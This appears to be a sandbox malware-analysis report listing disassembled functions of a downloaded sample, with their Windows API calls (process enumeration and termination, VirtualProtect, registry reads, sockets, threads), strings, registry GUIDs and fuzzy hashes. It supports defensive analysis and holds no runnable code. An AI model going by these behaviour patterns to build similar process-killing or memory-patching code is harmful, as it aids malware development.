Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseOpenValue__snwprintf
String ID: SOFTWARE\%s${108D3252-20F0-4C1B-940D-6ED5366D8FD3}
API String ID: 2100281157-2357458413
Opcode ID: c49227faee6afd3bd9a63385d0a950275562a797dbfc5ea62f506580dee1dfac
Instruction ID: 6863cd0e0ace417721a0ac6b5bc0dc793741b8f0a03b3af6856a5f3c8da448b0
Opcode Fuzzy Hash: c49227faee6afd3bd9a63385d0a950275562a797dbfc5ea62f506580dee1dfac
Instruction Fuzzy Hash: 390162B5604208FBD722DBA4DC99FAE337CEB08B00F104554BA199A180E675DB40A7A1

Function 00309E40 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208), ref: 00309E57
__snwprintf.LIBCMT ref: 00309E7C
RegGetValueW.ADVAPI32(80000001,?,{C3120582-398C-4F3B-A956-7E9F9DB9EF8E},00000002,00000000,00000000,00000208), ref: 00309EA8
LocalFree.KERNEL32(00000000), ref: 00309EC7

Strings

SOFTWARE\%s, xrefs: 00309E6B
{C3120582-398C-4F3B-A956-7E9F9DB9EF8E}, xrefs: 00309E97
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00309E66

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeValue__snwprintf
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C3120582-398C-4F3B-A956-7E9F9DB9EF8E}
API String ID: 3906065898-3858757917
Opcode ID: 3ff5ef62af59098bbe4ffae45720591b4503b5360bd15d942152390223d620ae
Instruction ID: cdbb84e4aee5d5d6df4d9b59dffd487d77a64ed40f8924ddfd743b63ff4df147
Opcode Fuzzy Hash: 3ff5ef62af59098bbe4ffae45720591b4503b5360bd15d942152390223d620ae
Instruction Fuzzy Hash: DD015E70A44208FBDB21DBA4DD4AFAEB7B8AB08700F204599B609A71C1D6B45F40DB91

Function 00302490 Relevance: 12.1, APIs: 8, Instructions: 67processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003024A4
Process32FirstW.KERNEL32(00000000,0000022C), ref: 003024CC
lstrcmpiW.KERNEL32(?,-00372F28), ref: 0030251A
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0030253C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0030255A
CloseHandle.KERNEL32(00000000), ref: 00302567
Process32NextW.KERNEL32(00000000,0000022C), ref: 0030257F
CloseHandle.KERNEL32(00000000), ref: 00302591

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32lstrcmpi
String ID:
API String ID: 1193533834-0
Opcode ID: af2a378b2d13210f92e96c9b081ae896423b10f12746aabbf9f4302172754b5f
Instruction ID: 0501261c074948cf1e808c96983da0f7b45bb767a50647cc8e6e16cd158145b6
Opcode Fuzzy Hash: af2a378b2d13210f92e96c9b081ae896423b10f12746aabbf9f4302172754b5f
Instruction Fuzzy Hash: FB21EC71911218DBDB35DF60DD9CBAABBB8FB45700F104698E509A61D0D7749AC0DF50

Function 0031E820 Relevance: 10.7, APIs: 7, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0031E862
und_memcpy.LIBCMTD ref: 0031E888
und_memcpy.LIBCMTD ref: 0031E8A3
und_memcpy.LIBCMTD ref: 0031E8D7
VirtualProtect.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 0031EAE5
LocalFree.KERNEL32(00000000), ref: 0031EBAB

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: und_memcpy$Local$AllocFreeProtectVirtual
String ID:
API String ID: 3065580769-0
Opcode ID: ed291c51b19c91f21696e62e6d0bc671c3a24b8323aa921462d323f583373041
Instruction ID: 0959dd1f87c69df84d341fcdd68b8a95b37ccf0c882983e9d78f7432f14381a6
Opcode Fuzzy Hash: ed291c51b19c91f21696e62e6d0bc671c3a24b8323aa921462d323f583373041
Instruction Fuzzy Hash: 5BA1B170A05228CBDB6ACF04CD85BDAB7B5BB98305F1481D9D84DAB254D736AEC1CF80

Function 00307260 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 003072DB
_memset.LIBCMT ref: 0030732B
shutdown.WS2_32(?,00000002), ref: 00307595
closesocket.WS2_32(?), ref: 0030759F

Part of subcall function 00320CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Strings

#, xrefs: 0030744B
, xrefs: 00307441

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt_memsetclosesocketsetsockoptshutdown
String ID: $#
API String ID: 2801799075-2491617062
Opcode ID: 271ad7f5714bf85164f14a22e7530f9184655c4f4efc39c5058929d9b85f535c
Instruction ID: 48c969444cfc326f501b7403740e22a2c3ca24e4522a30c675990b03ec7aa692
Opcode Fuzzy Hash: 271ad7f5714bf85164f14a22e7530f9184655c4f4efc39c5058929d9b85f535c
Instruction Fuzzy Hash: E58116B0D0522DDBEB24DF40DC59BEEBBB5BB44304F2082E9D5486B281D7B65A88CF51

Function 003090B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00309164
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0030919C
CloseHandle.KERNEL32(00000000), ref: 003091D2
CloseHandle.KERNEL32(00000000), ref: 00309222
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0030928C

Strings

d, xrefs: 0030912A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: db41af8d911c59fcb974fd8868cecd6908ea9efa5762bec9534ad1f9fb9bfea6
Instruction ID: 5d6330020507bbaa9af0e9cd5572788480bc3f9e48b4da4ede71b4b81503c1b9
Opcode Fuzzy Hash: db41af8d911c59fcb974fd8868cecd6908ea9efa5762bec9534ad1f9fb9bfea6
Instruction Fuzzy Hash: 3A51A271A00508EBEB1ADFC4C9E8B6EB77AFB90305F108669D016AF6C2C735DA41CB41

Function 003068B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00306932
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0030696A
CloseHandle.KERNEL32(00000000), ref: 00306987
CloseHandle.KERNEL32(00000000), ref: 003069D7

Strings

d, xrefs: 003068F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID: d
API String ID: 2857295742-2564639436
Opcode ID: 07066e7839e8ab705ae0eb1ac891b3da5b9de1e5cc15b9871e913db4c1634347
Instruction ID: cc21ad149ca6e04ef4077bc9f82b8c808b893121a703273de10a340766e26e7b
Opcode Fuzzy Hash: 07066e7839e8ab705ae0eb1ac891b3da5b9de1e5cc15b9871e913db4c1634347
Instruction Fuzzy Hash: 9A519D31A00904DBEB1ADF84CAA9B6DB776FBA0309F1482ADD016AF6D5C3359A51CF40

Function 00302754 Relevance: 10.6, APIs: 7, Instructions: 92stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,-00372F28,00000000,?,?,?,?,?), ref: 0030278C
_memset.LIBCMT ref: 003027B1
lstrcpyW.KERNEL32(?,-00372F28,?,?,?,?,?,?,?), ref: 003027CF

Part of subcall function 00301C60: _wcsrchr.LIBCMT ref: 00301C6C

lstrcpyW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00302815

Part of subcall function 00302A80: construct.LIBCPMTD ref: 00302B09

StrCatW.SHLWAPI(00000000,00332714), ref: 00302863
StrCatW.SHLWAPI(00000000,?), ref: 00302874
Process32NextW.KERNEL32(00000000,0000022C), ref: 003028D6
CloseHandle.KERNEL32(00000000), ref: 003028E8
LocalFree.KERNEL32(00000000), ref: 003028F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$CloseFreeHandleLocalNextProcess32_memset_wcsrchrconstructlstrcmpi
String ID:
API String ID: 3449763073-0
Opcode ID: 0274851895f855c6450ef812f4c5362147fa28e85baf58339c4df6c964cec5f6
Instruction ID: beace1b966faa3955e76b0c5dd6950cbe8601bc1dffedb38b0661d6bbee1a56d
Opcode Fuzzy Hash: 0274851895f855c6450ef812f4c5362147fa28e85baf58339c4df6c964cec5f6
Instruction Fuzzy Hash: 79416DB5D05218DBCB26DF64CC98BDEB7B8EF58300F008598E10AB7290EB759A84CF50

Function 00317236 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00317287
CloseHandle.KERNEL32(00000000), ref: 003172A7
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 003172BF
CreateThread.KERNEL32(00000000,00000000,00000000,?,00000004,00000000), ref: 003172DE
ResumeThread.KERNEL32(00000000), ref: 0031730C
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00317361
CloseHandle.KERNEL32(00000000), ref: 0031738D
CloseHandle.KERNEL32(00000000), ref: 003173AD
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 003173C5
CreateThread.KERNEL32(00000000,00000000,00000000,?,00000004,00000000), ref: 003173E4
ResumeThread.KERNEL32(00000000), ref: 00317412

Strings

d, xrefs: 0031723F

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID: d
API String ID: 738346648-2564639436
Opcode ID: a37357b4b4fe48e165bd0b98fd752a1139a7c084e8656d6419a82ebe5560c2ac
Instruction ID: 2f976b57de63629d748c8f5ec36f89a48b12c2ecb08afbe4683f897ae120d13d
Opcode Fuzzy Hash: a37357b4b4fe48e165bd0b98fd752a1139a7c084e8656d6419a82ebe5560c2ac
Instruction Fuzzy Hash: A031A474E04208DFDB19CF94C888B9DFBB6BF48315F28C659E9166B394C775A886CB40

Function 0031C770 Relevance: 10.6, APIs: 7, Instructions: 74threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 0031C786
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000004,00000000), ref: 0031C7A9
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0031C7C0
ResumeThread.KERNEL32(00000000), ref: 0031C7FE
CloseHandle.KERNEL32(00000000), ref: 0031C812
CloseHandle.KERNEL32(00000000), ref: 0031C82C
LocalFree.KERNEL32(00000000), ref: 0031C836

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleLocalThread$AllocEventFreeResume
String ID:
API String ID: 4097846125-0
Opcode ID: a0b8786962621f62d980b932960872469b62e62b37a336eff81f5d6bb53509c4
Instruction ID: b247269131529b85aadf354f2b523a87f202a9c2f766d0d3c3c40af8d5837388
Opcode Fuzzy Hash: a0b8786962621f62d980b932960872469b62e62b37a336eff81f5d6bb53509c4
Instruction Fuzzy Hash: 83215E79E50208FBDB09DFA4D889B9E77B5AB4C300F209554F609AB290C7309A84CB50

Function 0031F080 Relevance: 10.6, APIs: 7, Instructions: 62filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0031F09C
GetFileSize.KERNEL32(000000FF,00000000), ref: 0031F0B1
LocalAlloc.KERNEL32(00000040,000000FF), ref: 0031F0C6
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 0031F0E7
CloseHandle.KERNEL32(000000FF), ref: 0031F0FD
LocalFree.KERNEL32(00000000), ref: 0031F114
CloseHandle.KERNEL32(000000FF), ref: 0031F11E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: ffb0bafd365a78fe22e54814b74c7dec8ad05f4536b63a8e1170b50d37d46297
Instruction ID: a132b0579c43aa71b53d9627774fcfa69c78cb2dadb7d932df78f9d89ce56de3
Opcode Fuzzy Hash: ffb0bafd365a78fe22e54814b74c7dec8ad05f4536b63a8e1170b50d37d46297
Instruction Fuzzy Hash: C7212974A00208FFCB19DFA4DC89B9EB7B9AB4C700F108564F515A7290D634AA85CB50

Function 0030A0F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62registrymemoryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0030A113
RegGetValueW.ADVAPI32(80000001,?,-00008688,00000008,00000000,00000000,00000000), ref: 0030A148
LocalAlloc.KERNEL32(00000040,00000000), ref: 0030A158
RegGetValueW.ADVAPI32(80000001,?,-00008688,00000008,00000000,00000000,00000000), ref: 0030A189
LocalFree.KERNEL32(00000000), ref: 0030A1A4

Strings

SOFTWARE\%s, xrefs: 0030A102

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: LocalValue$AllocFree__snwprintf
String ID: SOFTWARE\%s
API String ID: 297434584-297323700
Opcode ID: a3ab7636099ea80aede3fa578b1f73f28afd2e3c08c0b9fe5e1b7009196396c2
Instruction ID: c7975e08af851949015fe7f4b4a22cba69eb8b67d0a48a0b6c0d0f3275a1a63e
Opcode Fuzzy Hash: a3ab7636099ea80aede3fa578b1f73f28afd2e3c08c0b9fe5e1b7009196396c2
Instruction Fuzzy Hash: 58213071600208FFE715CF94DC89FEEB778EF54704F108158BA08AB280D671AA44CB94

Function 0032109F Relevance: 10.6, APIs: 7, Instructions: 51synchronizationsleepmemoryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 003210EA
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00321149
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0032117D
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 003211A0
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003211B8
Sleep.KERNEL32(00000BB8), ref: 003211D1
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 003211EB
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00321203
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000001,00000004), ref: 0032126B
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00321281
LocalAlloc.KERNEL32(00000040,00000004), ref: 00321298
CreateThread.KERNEL32(00000000,00000000,00321580,00000000,00000000,00000000), ref: 003212C4
GetTickCount.KERNEL32 ref: 003212E1
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00321309
shutdown.WS2_32(00000000,00000002), ref: 003213D7
closesocket.WS2_32(00000000), ref: 003213E1
SetEvent.KERNEL32(00000000), ref: 003213F2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 003213FE
CloseHandle.KERNEL32(00000000), ref: 00321419
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 003214D7
SetEvent.KERNEL32(00000000), ref: 003214E8
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 003214F4
CloseHandle.KERNEL32(00000000), ref: 00321504
CloseHandle.KERNEL32(00000000), ref: 0032151B
CloseHandle.KERNEL32(00000000), ref: 00321534
ReleaseMutex.KERNEL32(00000000), ref: 0032154E
CloseHandle.KERNEL32(00000000), ref: 00321558
CloseHandle.KERNEL32(00000000), ref: 00321568
CloseHandle.KERNEL32(00000000), ref: 00321572

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$Create$AllocCountLocalMutexReleaseSleepThreadTickclosesocketsetsockoptshutdown
String ID:
API String ID: 2693238558-0
Opcode ID: f9de0b3a9793678bb18e37ed2721d90974b6b0abad65e0d64f3faa4c13d7b636
Instruction ID: 3adbae045b903b6f9914cd1822215a94dfa05921c1de37b8e67313897a712fe1
Opcode Fuzzy Hash: f9de0b3a9793678bb18e37ed2721d90974b6b0abad65e0d64f3faa4c13d7b636
Instruction Fuzzy Hash: F6111F74900214DFDB2ADFA0ED8CBAEB779FB58305F608549E60A662A0C7799984CF50

Function 0030FA30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 0030FA3E
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0030FA61

Strings

USER32.DLL, xrefs: 0030FA6F
